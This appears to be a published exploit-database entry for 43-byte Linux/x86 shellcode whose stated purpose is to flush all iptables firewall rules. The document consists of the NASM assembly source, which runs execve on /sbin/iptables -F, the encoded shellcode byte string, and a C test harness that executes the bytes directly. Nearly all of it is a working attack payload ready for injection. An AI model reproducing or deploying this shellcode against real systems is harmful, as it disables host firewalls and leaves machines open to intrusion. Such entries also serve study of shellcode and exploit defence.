52 lines
No EOL
1.1 KiB
C
52 lines
No EOL
1.1 KiB
C
# Title: Linux/x86 - /sbin/iptables -F Shellcode (43 bytes)
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# Author: Xavi Beltran
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# Date: 11/05/2019
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# Contact: xavibeltran@protonmail.com
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# Webpage: https://xavibel.com
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# Purpose: flush iptables rules
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# Tested On: Ubuntu 3.5.0-17-generic
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# Arch: x86
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# Size: 43 bytes
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#################################### iptables-flush.nasm ####################################
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global _start
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section .text
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_start:
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xor eax, eax
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push eax
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push word 0x462d
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mov esi, esp
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push eax
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push dword 0x73656c62
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push dword 0x61747069
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mov edi,esp
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push dword 0x2f2f6e69
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push dword 0x62732f2f
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mov ebx, esp
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push eax
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push esi
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push edi
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mov ecx, esp
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mov al, 11
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int 0x80
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####################################### shellcode.c #######################################
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#include<stdio.h>
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#include<string.h>
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unsigned char code[] = \
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"\x31\xc0\x50\x66\x68\x2d\x46\x89\xe6\x50\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x89\xe7\x68\x69\x6e\x2f\x2f\x68\x2f\x2f\x73\x62\x89\xe3\x50\x56\x57\x89\xe1\xb0\x0b\xcd\x80";
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main()
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{
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printf("Shellcode Length: %d\n", strlen(code));
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int (*ret)() = (int(*)())code;
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ret();
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} |